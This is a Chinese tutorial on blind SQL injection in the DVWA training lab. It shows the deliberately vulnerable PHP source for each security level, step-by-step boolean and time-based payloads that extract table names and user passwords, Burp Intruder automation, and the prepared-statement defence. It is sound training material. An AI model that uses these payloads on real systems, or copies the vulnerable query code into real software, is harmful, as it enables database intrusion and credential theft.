DVWA从入门到精通(九):SQL Injection (Blind)(SQL盲注)

摘要 :本文是《DVWA从入门到精通》系列的第九篇,带你全面掌握SQL Injection (Blind)(SQL盲注)模块的攻防全流程。从SQL盲注的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含布尔盲注与时间盲注的完整手工流程、LENGTH()SUBSTRING()函数的逐字符猜解技术、SLEEP()延时函数的利用、Burp Suite Intruder自动化爆破、以及PDO预处理和参数化查询等企业级防御策略,让你真正做到"知其然更知其所以然"。


一、什么是SQL盲注?

1.1 SQL盲注的核心原理

SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式。它与普通SQL注入的区别在于:服务器关闭了错误回显,不返回具体的数据库查询结果,攻击者无法直接看到数据。

用一个生活化的例子来理解

普通SQL注入就像你直接问老师"张三的考试成绩是多少?"老师直接告诉你"90分"------你得到了明确的答案。

而SQL盲注就像你问老师"张三的考试成绩是不是90分?"老师只回答"是"或"不是"------你只能通过一个个"是/否"问题来逐步推断出答案,就像在玩一个"猜数字"游戏。你需要先问"是不是大于80分?"→"是";再问"是不是大于90分?"→"不是";然后问"是不是等于85分?"→"是"......如此反复,最终拼凑出完整答案。

从技术角度来看

普通SQL注入时,攻击者可以直接从页面上看到注入语句的执行结果。而盲注时,应用程序执行SQL查询后不返回具体数据,只通过页面显示状态的差异(如"存在"或"不存在"、响应时间长短)来间接暴露信息。

1.2 SQL盲注的三种类型

类型 原理 特点
布尔盲注(Boolean-based) 根据页面返回内容的真假判断 页面只会返回"是"或"不是"两种状态
时间盲注(Time-based) 根据页面响应时间长短判断 页面没有任何回显差异,只能通过延时来推断
报错盲注(Error-based) 根据数据库错误信息判断 需要服务器开启错误回显

在DVWA的SQL Injection (Blind)模块中,我们主要练习布尔盲注时间盲注两种技术。

1.3 为什么需要盲注?

在实际的Web应用中,出于安全考虑,开发者通常会关闭数据库的错误回显 ,用户只能看到"操作成功"或"操作失败"等简单提示。这种情况下,普通的SQL注入(依赖报错信息或直接回显数据)就无法使用了------此时就需要盲注技术。

盲注的难度比普通注入高得多

  • 普通注入:一条语句就能获取大量数据

  • 布尔盲注:每个字符都需要多次尝试才能确定

  • 时间盲注:每个字符的确认都需要等待数秒


二、准备工作

2.1 靶场环境

确保DVWA已部署并正常运行:

  • 访问地址:http://你的服务器IP/dvwa/login.php

  • 使用 admin / password 登录

2.2 必备工具

工具 用途
浏览器(Chrome/Firefox) 访问靶场,观察页面状态变化
Burp Suite 抓包分析、Intruder自动化爆破(Medium级别必需)
SQLmap 自动化SQL盲注检测与利用(可选)

2.3 基础知识储备

  • 理解SQL的基本语法(SELECT、WHERE、AND/OR等)

  • 熟悉MySQL的常用函数:LENGTH()SUBSTRING()ASCII()SLEEP()IF()

  • 了解information_schema元数据库


三、Low级别:毫无防护的"裸奔"状态

3.1 安全级别设置

将DVWA Security设置为 Low 级别,然后进入 SQL Injection (Blind) 模块。

3.2 界面观察

SQL盲注模块的界面与普通SQL注入类似------一个输入框和一个"Submit"按钮。但与普通SQL注入不同的是:

  • 输入存在的ID(如1),页面显示:"User ID exists in the database."

  • 输入不存在的ID(如6),页面显示:"User ID is MISSING from the database."

页面只有这两种回显,没有任何数据库错误信息或具体数据。

3.3 源码分析

点击页面顶部的 "View Source" 按钮,查看Low级别的核心代码:

php 复制代码
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

这段代码存在以下特征

特征 说明
字符型注入 user_id = '$id'用单引号包裹
无任何过滤 用户输入直接拼接到SQL语句
仅两种回显 只返回"存在"或"不存在"

3.4 攻击方法一:布尔盲注

由于是字符型注入,需要闭合单引号,然后构造布尔条件。

第一步:确认注入点

测试1:条件为真

php 复制代码
1' AND 1=1 #

页面显示"User ID exists"------条件为真时页面正常。

测试2:条件为假

php 复制代码
1' AND 1=2 #

页面显示"User ID is MISSING"------条件为假时页面异常。

结论:存在SQL盲注漏洞!

第二步:猜解数据库名长度

使用LENGTH(DATABASE())函数获取数据库名的长度:

php 复制代码
1' AND LENGTH(DATABASE())=4 #

如果页面显示"User ID exists",说明数据库名长度为4。

第三步:逐字符猜解数据库名

使用SUBSTRING()ASCII()函数逐字符猜解:

猜解第1个字符

php 复制代码
1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 #

ASCII('d')=100,如果页面显示"User ID exists",说明第1个字符是d

猜解第2个字符

php 复制代码
1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 #

ASCII('v')=118,第2个字符是v

猜解第3个字符

php 复制代码
1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 #

ASCII('w')=119,第3个字符是w

猜解第4个字符

php 复制代码
1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 #

ASCII('a')=97,第4个字符是a

结果 :数据库名为 dvwa

第四步:猜解表名

猜解表的数量

php 复制代码
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=1 #    //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2 #    //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=3 #    //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=4 #    //User ID exists in the database.

返回存在 → dvwa数据库中有4张表。

猜解第一张表名长度:

php 复制代码
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>3 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>7 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>9 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)=10 #

所以第一张表长度为10

猜解第一张表名(逐字符):

php 复制代码
//    猜解第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))>97 #    //不存在,所以第一个字符为a
//    猜解第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>98 #    //存在  
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>99 #    //不存在,所以第二个字符为c
//    猜解第三个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>98 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>99 #    //不存在,所以第三个字符为c
//    猜解第四个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>100 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>101 #    //不存在,所以第四个字符为e
//    猜解第五个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>114 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>115 #    //不存在,所以第五个字符为s
//    猜解第六个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>114 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>115 #    //不存在,所以第六个字符为s
//    猜解第七个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>96 #    //判断是否是小写字母,不存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>95 #    //不存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>94 #    //存在,所以第七个字符为_
//    猜解第八个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>107 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>108 #    //不存在,所以第八个字符为l
//    猜解第九个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>110 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>111 #    //不存在,所以第九个字符为o
//    猜解第十个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>102 #    //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>103 #    //不存在,所以第十个字符为g

最终得到第一张表名为 access_log

猜解第2、3、4张表名长度:

php 复制代码
//    第二张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=9 #
//    第三张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=12 #
//    第四张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=5 #

猜解第2、3、4张表名

php 复制代码
//    猜解第二张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),1,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),1,1))>97 #    //不存在,所以第一个字符为a
//    猜解第二张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>98 #    //存在  
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>99 #    //不存在,所以第二个字符为c
......结论为guestbook
//    猜解第三张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),1,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),1,1))>97 #    //不存在,所以第一个字符为a
//    猜解第三张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>98 #    //存在  
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>99 #    //不存在,所以第二个字符为c
......结论为security_log
//    猜解第四张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),1,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),1,1))>97 #    //不存在,所以第一个字符为a
//    猜解第四张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>96 #    //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>98 #    //存在  
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>99 #    //不存在,所以第二个字符为c
......结论为users
第五步:猜解列名和数据

猜解users表的列数

php 复制代码
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users')=10 #

返回存在 → users表有10列。

猜解列名

php 复制代码
//    猜测第一列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 0,1)=7 #
//    猜测第一列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 0,1),1,1))=117 #
//    猜测第一列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 0,1),2,1))=115 #
......结论第一个字段为user_id
//    猜测第二列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 1,1)=10 #
//    猜测第二列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 1,1),1,1))=102 #
//    猜测第二列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 1,1),2,1))=105 #
......结论第二个字段为first_name
//    猜测第三列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 2,1)=9 #
//    猜测第三列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 2,1),1,1))=108 #
//    猜测第三列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 2,1),2,1))=97 #
......结论第三个字段为last_name
//    猜测第四列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 3,1)=4 #
//    猜测第四列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 3,1),1,1))=117 #
//    猜测第四列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 3,1),2,1))=115 #
......结论第四个字段为user
//    猜测第五列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 4,1)=8 #
//    猜测第五列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 4,1),1,1))=112 #
//    猜测第五列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 4,1),2,1))=97 #
......结论第五个字段为password
剩下五个字段同理,分别为avatar、last_login、failed_login、role、account_enabled

猜解数据

php 复制代码
//    猜解第一个用户名长度
1' AND (SELECT length(user) from users LIMIT 0,1)=5 #
//    猜解第一个用户名第一个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 0,1),1,1))=97 #
//    猜解第一个用户名第二个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 0,1),2,1))=97 #
//    猜解第一个用户密码第一个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1))=97 #
//    猜解第一个用户密码第二个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),2,1))=97 #
//    猜解第二个用户名长度
1' AND (SELECT length(user) from users LIMIT 1,1)=5 #
//    猜解第二个用户名第一个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 1,1),1,1))=97 #
//    猜解第二个用户名第二个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 1,1),2,1))=97 #
//    猜解第二个用户密码第一个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1,1),1,1))=97 #
//    猜解第二个用户密码第二个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1,1),2,1))=97 #
......剩下逐字符破解

3.5 攻击方法二:时间盲注

当布尔盲注无法获得明确回显时(例如页面始终返回相同内容),可以使用时间盲注

时间盲注的核心是使用sleep()benchmark()等造成延时效果的函数。

测试时间注入可行性

php 复制代码
1' AND SLEEP(5) #

如果页面响应延迟了5秒,说明时间注入可行。

使用IF()条件判断

php 复制代码
1' AND IF(SUBSTRING(DATABASE(),1,1)='d', SLEEP(5), 0) #

如果数据库名第一个字符是d,页面延迟5秒;否则立即返回。

猜解数据库名

php 复制代码
1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=100, SLEEP(5), 0) #

3.6 Low级别总结

特征 说明
字符型注入 需闭合引号
无任何过滤 用户输入直接拼接到SQL
两种回显 存在/不存在
可利用 布尔盲注 + 时间盲注

四、Medium级别:POST方式的"下拉菜单限制"

4.1 安全级别设置

将DVWA Security切换为 Medium 级别。

4.2 观察变化

在Medium级别下,输入方式从文本框变成了下拉菜单,只能选择1到5这几个数字。页面回显依然是"存在"或"不存在"两种。

4.3 源码分析

查看Medium级别的核心代码:

php 复制代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

Medium级别的变化

变化 说明
POST方式提交 不再是GET,URL中看不到参数
下拉菜单限制 页面只能选择1-5
转义函数 使用mysqli_real_escape_string()转义特殊字符
数字型注入 仍然没有单引号包裹

4.4 mysqli_real_escape_string()的局限

与普通SQL注入的Medium级别相同,mysqli_real_escape_string()数字型注入 场景下完全失效------因为数字型注入不需要闭合引号,转义特殊字符对注入没有影响。

4.5 攻击方法:Burp Suite抓包注入

由于页面限制了下拉菜单,攻击者需要通过Burp Suite抓包修改参数进行注入。

第一步:抓取提交请求

在Burp Suite中拦截提交请求:

第二步:修改参数进行布尔盲注

id=1修改为注入Payload:

php 复制代码
id=1 AND LENGTH(DATABASE())=4&Submit=Submit

猜解出数据库名的长度为4

第三步:使用Burp Intruder自动化爆破

将请求发送到Intruder

设置攻击类型为Cluster bomb

设置两个Payload位置:

  • 位置1:字符位置(1-4)

  • 位置2:ASCII值(1-128)

猜解数据库名

php 复制代码
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=2

开始攻击,根据响应内容筛选出正确的ASCII值。

猜解数据库中表数量

php 复制代码
1 AND (SELECT count(table_name) FROM information_schema.tables where table_schema=database())=1

猜解四张表每张表的长度

php 复制代码
1 AND (SELECT length(table_name) FROM information_schema.tables where table_schema=database() limit 0,1)=1

猜解每张表的字符

php 复制代码
id=1 AND ASCII(SUBSTRING(SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1)=1&Submit=Submit

猜解users表的字段数

php 复制代码
1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273)=1

猜解users表每个字段长度

php 复制代码
1 AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273 limit 0,1)=1

猜解users表每个字段名

php 复制代码
1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273 LIMIT 0,1),1,1))=1

猜解users表共几条数据

php 复制代码
1 AND (SELECT COUNT(*) FROM users)=1

猜解users表中每一条中用户和密码拼接的长度

php 复制代码
1 AND (SELECT LENGTH(CONCAT(user,CHAR(126),password)) FROM users LIMIT 0,1)=1

猜解users表中每一条用户和密码

php 复制代码
1 AND ASCII(SUBSTRING((SELECT CONCAT(user,CHAR(126),password) FROM users LIMIT 0,1),1,1))=1

4.6 Medium级别总结

改进 局限性
POST方式提交 可通过Burp Suite抓包修改
下拉菜单限制 可被Burp Suite绕过
mysqli_real_escape_string()转义 数字型注入无效
有一定防护效果 数字型注入场景下完全无效

五、High级别:Cookie传参的"延迟干扰"

5.1 安全级别设置

将DVWA Security切换为 High 级别。

5.2 观察变化

页面展示文本 Click here to change your ID.,点击页面内here超链接会弹出独立弹窗页面session-input.php;相比 Medium 级别的下拉选择框,High 级恢复可自由编辑的文本输入框,支持手动输入自定义 ID 参数,弹窗仅提供输入框与提交按钮。

5.3 源码分析

查看High级别的核心代码:

php 复制代码
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                $result = false;
            }

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

High级别的变化

变化 说明
Cookie传参 参数在Cookie中,不在GET/POST
分两次请求 第一次设置Cookie,第二次获取结果
字符型注入 有单引号包裹,需要闭合
LIMIT 1 限制只返回一条结果
随机延迟 查询为空时sleep(rand(0,5)),干扰时间盲注

5.4 布尔注入

布尔盲注Payload示例(字符型注入,需要闭合单引号,同Low级步骤一模一样):

目的 Payload
条件为真 1' AND 1=1 #
条件为假 1' AND 1=2 #
猜解数据库名长度 1' AND LENGTH(DATABASE())=4 #
猜解数据库名字符 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 #

5.5 时间盲注的干扰与绕过

High级别在查询为空时执行sleep(rand(0,5))随机延迟0-5秒 。这会干扰基于时间的盲注------攻击者无法确定延迟是来自注入的sleep()还是来自服务器的随机延迟。

绕过思路

  • 使用较长的延迟时间 (如sleep(10)),使延迟明显大于随机延迟的上限(5秒)

  • 多次测试取平均值,排除随机干扰

  • 改用布尔盲注(如果可行)

5.6 High级别总结

改进 局限性
Cookie传参 增加自动化注入难度
字符型注入 需要闭合单引号
随机延迟干扰 可用更长延迟时间绕过
LIMIT 1 可用#注释掉

六、Impossible级别:终极防御方案

6.1 安全级别设置

将DVWA Security切换为 Impossible 级别。

6.2 源码分析

查看Impossible级别的核心代码:

php 复制代码
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

6.3 Impossible级别的六重防御体系

Impossible级别构建了六重防御体系,彻底杜绝了SQL盲注的可能性:

第一层:CSRF Token验证

使用checkToken()验证请求中的user_token是否与会话中的session_token一致。

第二层:数字类型检查(白名单)

使用is_numeric($id)检查输入是否为数字,任何特殊字符都会被拒绝。

第三层:强制类型转换

使用intval($id)将输入强制转换为整数,彻底消除了注入的可能性。

第四层:PDO预处理语句(核心防御)

使用PDO(PHP Data Objects)预处理语句执行SQL查询:

php 复制代码
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );

SQL指令模板和数据分开发送 ,无论用户输入什么特殊字符,都会被严格当作普通数值处理。

第五层:限制返回行数

LIMIT 1确保只返回一条记录。rowCount() == 1的检查更进一步,只有恰好返回一条记录时才显示"存在"。

第六层:一次性Token刷新

每次请求后调用generateSessionToken()生成新的Token,每个Token只能使用一次

6.4 为什么Impossible级别无法被绕过?

条件 Impossible级别的防护 攻击者能否达成
